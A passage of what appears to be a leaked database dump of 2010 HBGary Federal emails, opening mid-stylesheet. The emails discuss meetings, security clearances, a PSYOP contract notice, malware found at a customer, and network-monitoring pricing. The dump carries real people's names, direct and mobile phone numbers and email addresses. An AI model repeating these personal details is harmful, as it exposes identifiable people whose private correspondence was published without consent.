td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11004,'aaron_hbgary_com/11004.html'),(9949,'2010-08-09','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297007790.M534116P14101Q4805.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','One quick question:  Any one from your side cleared yet?  \r\n\r\nOn Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n\r\n> Rgr.  I am open working on a proposal, so flexible.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n> \r\n>> Aaron,\r\n>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>> John\r\n>> \r\n>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>> \r\n>>> John,\r\n>>> \r\n>>> How about first week of August?  I am on family vacation starting\r\n>>> Thursday then blackhat.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> Sent from my iPad\r\n>>> \r\n>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>> \r\n>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> Hi John,\r\n>>>>> \r\n>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>> \r\n>>>>> Let me know when you have some time.\r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>> \r\n\r\n',6853,'aaron_hbgary_com/6853.html'),(9950,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007790.M766691P14101Q4806.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','I am.  Green badge g/h\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n\r\n> One quick question:  Any one from your side cleared yet?\r\n>\r\n> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>\r\n>> Rgr.  I am open working on a proposal, so flexible.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>> John\r\n>>>\r\n>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> John,\r\n>>>>\r\n>>>> How about first week of August?  I am on family vacation starting\r\n>>>> Thursday then blackhat.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>>\r\n>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>\r\n>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hi John,\r\n>>>>>>\r\n>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>\r\n>>>>>> Let me know when you have some time.\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>>\r\n>>>>>\r\n>>>\r\n>\r\n',5327,'aaron_hbgary_com/5327.html'),(9951,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007790.M97820P14101Q4803.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','Re: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal 	Business Opportunities: Opportunities','You knew I wasn&#39;t normal?!It&#39;s not exactly fun but I will like the results.Sent from my iPhoneOn Aug 9, 2010, at 3:14 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYou kill me!  Have fun.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 09, 2010 3:13 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 -\r\nFederal Business Opportunities: Opportunities\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nYep.  I have a few already.  4 to be exact.\r\n This one is a cover up so won&#39;t increase the number but it&#39;s bigger.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 3:10 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou serious on the tat?\r\n\r\n \r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, August 09, 2010 3:06 PM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: EXTERNAL:Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal\r\nBusiness Opportunities: Opportunities\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\ndidn&#39;t.  I&#39;ll check it out.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNG\r\nis on the team.  The civil folks.  I will get a name for you, just\r\nhappened Friday.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThat\r\nreally stinks.  Nothing to really do but get through it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI&#39;ll\r\ngive u a call tomorrow.  Getting a new tattoo right now...\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 9, 2010, at 3:00 PM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.fbo.gov/?s=opportunity&amp;mode=form&amp;id=0d86f6281de7d64c13f91c7e\r\n\r\nde3f3fe5&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15249,'aaron_hbgary_com/15249.html'),(9952,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007791.M133605P14101Q4807.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Other folks were cleared just need reinstated.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n\r\n> One quick question:  Any one from your side cleared yet?\r\n>\r\n> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>\r\n>> Rgr.  I am open working on a proposal, so flexible.\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n>>\r\n>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>> John\r\n>>>\r\n>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>\r\n>>>> John,\r\n>>>>\r\n>>>> How about first week of August?  I am on family vacation starting\r\n>>>> Thursday then blackhat.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>>\r\n>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>\r\n>>>>> Aaron,\r\n>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>\r\n>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>\r\n>>>>>> Hi John,\r\n>>>>>>\r\n>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>\r\n>>>>>> Let me know when you have some time.\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>>\r\n>>>>>\r\n>>>\r\n>\r\n',10177,'aaron_hbgary_com/10177.html'),(9953,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007791.M334131P14101Q4808.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: PSYOP Sources Sought - H92222-10-T-0006 - Federal Business Opportunities: Opportunities','This is the one we\'ve been tracking.  Didn\'t respond to RFI because...\r\n\r\nUSSOCOM is seeking possible 8(a)  and HUBZone sources to provide\r\nInformation Management Technologies, Broadcast Technologies, Print\r\nTechnologies and Scatterable Media Technologies as outlined in the\r\nRFI.\r\n\r\n\r\n\r\nOn Mon, Aug 9, 2010 at 1:09 PM, Aaron Barr  wrote:\r\n> Can u check it out.\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: \"Masterson, Brian M (XETRON)\" \r\n> Date: August 9, 2010 3:00:13 PM EDT\r\n> To: \"Aaron Barr\" \r\n> Subject: PSYOP Sources Sought - H92222-10-T-0006 - Federal Business\r\n> Opportunities: Opportunities\r\n>\r\n> Did you see this one?\r\n>\r\n> https://www.fbo.gov/?s=opportunity&mode=form&id=0d86f6281de7d64c13f91c7e\r\n> de3f3fe5&tab=core&_cview=1\r\n>\r\n> Asked last week if there was any room for us on ITSSS?\r\n>\r\n> Things still not going well on my homefront other than my 14 year old\r\n> daughter is beyond awesome.\r\n>\r\n> Brian\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',11667,'aaron_hbgary_com/11667.html'),(9954,'2010-08-09','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297007791.M670176P14101Q4809.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n\r\nOn Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n\r\n> Other folks were cleared just need reinstated.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n> \r\n>> One quick question:  Any one from your side cleared yet?\r\n>> \r\n>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>> \r\n>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> Sent from my iPhone\r\n>>> \r\n>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>> John\r\n>>>> \r\n>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> John,\r\n>>>>> \r\n>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>> Thursday then blackhat.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> Sent from my iPad\r\n>>>>> \r\n>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>> \r\n>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Hi John,\r\n>>>>>>> \r\n>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>> \r\n>>>>>>> Let me know when you have some time.\r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>> \r\n>>>> \r\n>> \r\n\r\n',6740,'aaron_hbgary_com/6740.html'),(9955,'2010-08-09','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007791.M873085P14101Q4810.eml','aaron@hbgary.com','Get the appt with Dawn?','\r\n\r\n',8300,'aaron_hbgary_com/8300.html'),(9956,'2010-08-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007792.M71671P14101Q4811.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Need input - quickly','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nAs you know, we are working an AD sale at L-3.&nbsp; They\r\nhad a compromise at a tiny division that has 150 computers.&nbsp; They invited\r\nHBGary to do an AD trial there as a test.&nbsp; Rich was there and we found\r\nmalware (ntshrui.dll and netui.dll) on 59% of their computers.&nbsp; They\r\ncurrently have a managed services provider called Solutionary that they want to\r\nthrow out and replace with us.&nbsp; Solutionary deployed Qualys Guard to do\r\nnetwork monitoring and are paid $2k per month.&nbsp; They offered to pay us\r\n$2.5k to $3k per month to do host monitoring with AD and network monitoring with\r\nsomething else.&nbsp; They will buy the software and network gear with separate\r\nfunds.\r\n\r\n&nbsp;\r\n\r\nI need to know what to propose for the network\r\nmonitoring.&nbsp; Greg and Mike said to use Fidelis, but you guys know more\r\nabout Fidelis than any of us.&nbsp; The subsidiary has one T1 line. &nbsp;I\r\nneed the following:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhat to buy from Fidelis\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPrice of Fidelis\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe very short version of the story of what\r\nFidelis does and how it will integrate with HBGary AD.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhat other network gear will be needed?&nbsp; Or\r\ndoes Fidelis do all that is needed?\r\n\r\n&nbsp;\r\n\r\nHelp!!!!&nbsp; I wanted to get the proposal done by tomorrow\r\nmorning but it is getting more complicated.\r\n\r\n&nbsp;\r\n\r\nThis little deal can be a beachhead for a bigger deal and it\r\ncould provide a lab to verify HBGary and Fidelis integration.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3846,'aaron_hbgary_com/3846.html'),(9957,'2010-08-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007796.M19531P14101Q4812.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: what i think they have','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nThis is what Mary of Fidelis\r\nsent me.&nbsp; Price looks to high for the prospect&#8217;s small size.&nbsp; And I&#8217;d like to leave\r\nsome money for our s/w.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sullivan, Mary\r\n[mailto:mary.sullivan@fidelissecurity.com] \r\nSent: Monday, August 09, 2010 2:43 PM\r\nTo: Bob Slapnik\r\nSubject: RE: what i think they have\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDo you want a formal quote?\r\nBelow is the pricing. The first part is the device. I priced the actual service\r\nat 50% off, or $13k. If you need me to drop that, let me know&#8212;it&#8217;s so few\r\nusers, which makes Qualys work well for them. The $1,403 price is for our\r\nreputational data feed from Cyveillance&#8212;they get 90 days for free on that, btw.\r\nIt&#8217;s described in one of the brochures attached. \r\n\r\n&nbsp;\r\n\r\nDescription is below.\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Order Code\r\n  \r\n  \r\n  Description\r\n  \r\n  \r\n  Qty\r\n  \r\n  \r\n  List\r\n  Price\r\n  \r\n  \r\n  Discount\r\n  \r\n  \r\n  Net\r\n  Price\r\n  \r\n  \r\n  Ext.\r\n  Price\r\n  \r\n \r\n \r\n  \r\n  FSS-CP-DEV\r\n  \r\n  \r\n  Fidelis\r\n  XPS CommandPost Device Only \r\n  \r\n  \r\n  1\r\n  \r\n  \r\n  $6,000\r\n  \r\n  \r\n  10%\r\n  \r\n  \r\n  $5,400\r\n  \r\n  \r\n  $5,400\r\n  \r\n \r\n \r\n  \r\n  FSS-EDGE-25-DEV\r\n  \r\n  \r\n  Fidelis\r\n  XPS Edge 25 Device Only \r\n  \r\n  \r\n  1\r\n  \r\n  \r\n  $5,000\r\n  \r\n  \r\n  10%\r\n  \r\n  \r\n  $4,500\r\n  \r\n  \r\n  $4,500\r\n  \r\n \r\n \r\n  \r\n  \r\n  Subtotal\r\n  - Hardware\r\n  \r\n  \r\n  \r\n  $11,000\r\n  \r\n  \r\n  \r\n  \r\n  $9,900\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  SUB1-CP\r\n  \r\n  \r\n  Fidelis\r\n  XPS CommandPost Subscription(1 year subscription, includes software, upgrades\r\n  &amp; 8x5 support. Separate device purchase required)\r\n  \r\n  \r\n  1\r\n  \r\n  \r\n  $6,000\r\n  \r\n  \r\n  50%\r\n  \r\n  \r\n  $3,000\r\n  \r\n  \r\n  $3,000\r\n  \r\n \r\n \r\n  \r\n  SUB1-EDGE-25\r\n  \r\n  \r\n  Fidelis\r\n  XPS Edge 25 Subscription(1 year subscription, includes software, upgrades\r\n  &amp; 8x5 support. Separate device purchase required)\r\n  \r\n  \r\n  1\r\n  \r\n  \r\n  $20,000\r\n  \r\n  \r\n  50%\r\n  \r\n  \r\n  $10,000\r\n  \r\n  \r\n  $10,000\r\n  \r\n \r\n \r\n  \r\n  SUB1-CMP-EDGE-25\r\n  \r\n  \r\n  Anti-Phishing\r\n  and Anti-Malware Feeds for Fidelis XPS Edge 25 - Subscription from September\r\n  1, 2010 to September 30, 2011\r\n  \r\n  \r\n  1\r\n  \r\n  \r\n  $2,159\r\n  \r\n  \r\n  35%\r\n  \r\n  \r\n  $1,403\r\n  \r\n  \r\n  $1,403\r\n  \r\n \r\n \r\n  \r\n  \r\n  Subtotal\r\n  - Service\r\n  \r\n  \r\n  \r\n  $28,159\r\n  \r\n  \r\n  \r\n  \r\n  $14,403\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  Grand\r\n  Total\r\n  \r\n  \r\n  \r\n  $39,159\r\n  \r\n  \r\n  \r\n  \r\n  $24,303\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nFidelis XPS is an appliance-based 2.5 Gpbs network sniffer\r\nthat reassembles sessions (layers 3-7, including content) in memory. This\r\nDeep-Session Inspection&#8482; provides the ability to understand applications and\r\ncontent passing the sensor, in a port-independent manner. Customers say it\r\ncombines the real-time ability to react of an IDS/IPS with the session\r\nawareness of packet capture, which makes it uniquely suited for&nbsp; blocking\r\nnetwork threats like malware and its effects.\r\n\r\n&nbsp;\r\n\r\nFeatures include:\r\n\r\n*graphical real time netflow dashboard with content&#8212;shows\r\n&#8220;top talkers&#8221; and compromised hosts\r\n\r\n*scalability&#8212;single console for all sensors&#8217; alerts,\r\nsearchable and sends alerts to SEIM. Excellent on-board reporting.\r\n\r\n*very granular&#8212;alerts on Boolean combinations of location/content/session\r\nattributes. Easy to target.\r\n\r\n*single-click access to file and session forensics, for\r\nmalware/malicious file capture\r\n\r\n*sophisticated content analyzers (binary profile, renamed\r\nexe, unknown, encryption attributes, and many others)\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Monday, August 09, 2010 2:23 PM\r\nTo: Sullivan, Mary\r\nSubject: RE: what i think they have\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll I need is the final\r\nprice.&nbsp; HBGary might want to resell at some point but I am not concerned\r\nabout that for this transaction.&nbsp; And maybe Fidelis might want to resell\r\nHBGary&nbsp; J , we&#8217;ll see.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sullivan, Mary\r\n[mailto:mary.sullivan@fidelissecurity.com] \r\nSent: Monday, August 09, 2010 2:17 PM\r\nTo: Bob Slapnik\r\nSubject: RE: what i think they have\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWill do, stand by. Just one\r\nquestion&#8212;is the price to customer or to you? Ie is it final price?\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Monday, August 09, 2010 2:16 PM\r\nTo: Sullivan, Mary\r\nSubject: RE: what i think they have\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMary,\r\n\r\n&nbsp;\r\n\r\nThey have one Internet\r\nconnection and it is a T1.&nbsp; Thanks for telling me what Fidelis product to\r\npropose, BRIEF info about it (like 2-3 sentences), and cost.&nbsp; Thx.&nbsp; A\r\n1-2 page product datasheet would be useful because I could append it to our\r\nproposal.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sullivan, Mary\r\n[mailto:mary.sullivan@fidelissecurity.com] \r\nSent: Monday, August 09, 2010 1:14 PM\r\nTo: Bob Slapnik\r\nSubject: what i think they have\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nhttp://www.qualys.com/products/qg_suite/\r\nis the QualysGuard suite. Not sure what parts of this they have&#8230;there are some\r\npieces of this that we don&#8217;t handle, for sure&#8230;.. Like vuln scanning, policy/pci\r\ncompliance, web assessment. This is SaaS&#8230;\r\n\r\n&nbsp;\r\n\r\nBasically, we watch network traffic (usually outbound, but\r\nwe can look in both directions) for anything we&#8217;re instructed to watch for.\r\n&nbsp;But we don&#8217;t scan hosts.\r\n\r\n&nbsp;\r\n\r\nThe IBM model number you gave me is for a rack server, here https://www-304.ibm.com/jct01003c/cgi-bin/common/ssi/ssialias?infotype=an&amp;subtype=ca&amp;htmlfid=897/ENUS105-415&amp;appname=isource&amp;language=enus\r\nbut it doesn&#8217;t tell us what&#8217;s on it&#8230;.ie, if there is an application there.\r\n\r\n&nbsp;\r\n\r\nSorry, feel I&#8217;m not being very helpful, here. \r\n\r\n&nbsp;\r\n\r\nWhat we need to price is the number and speed of the egress\r\npts at the beachhead office.\r\n\r\nMary\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/09/10\r\n02:35:00\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/09/10\r\n02:35:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/09/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6738,'aaron_hbgary_com/6738.html'),(9958,'2010-08-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007796.M412852P14101Q4813.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: what i think they have','Give her a call and she will do her best to work it out.  It\'s the\r\nright solution.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 9, 2010, at 4:29 PM, Bob Slapnik  wrote:\r\n\r\n> Aaron and Ted,\r\n>\r\n>\r\n>\r\n> This is what Mary of Fidelis sent me.  Price looks to high for the\r\n> prospect\'s small size.  And 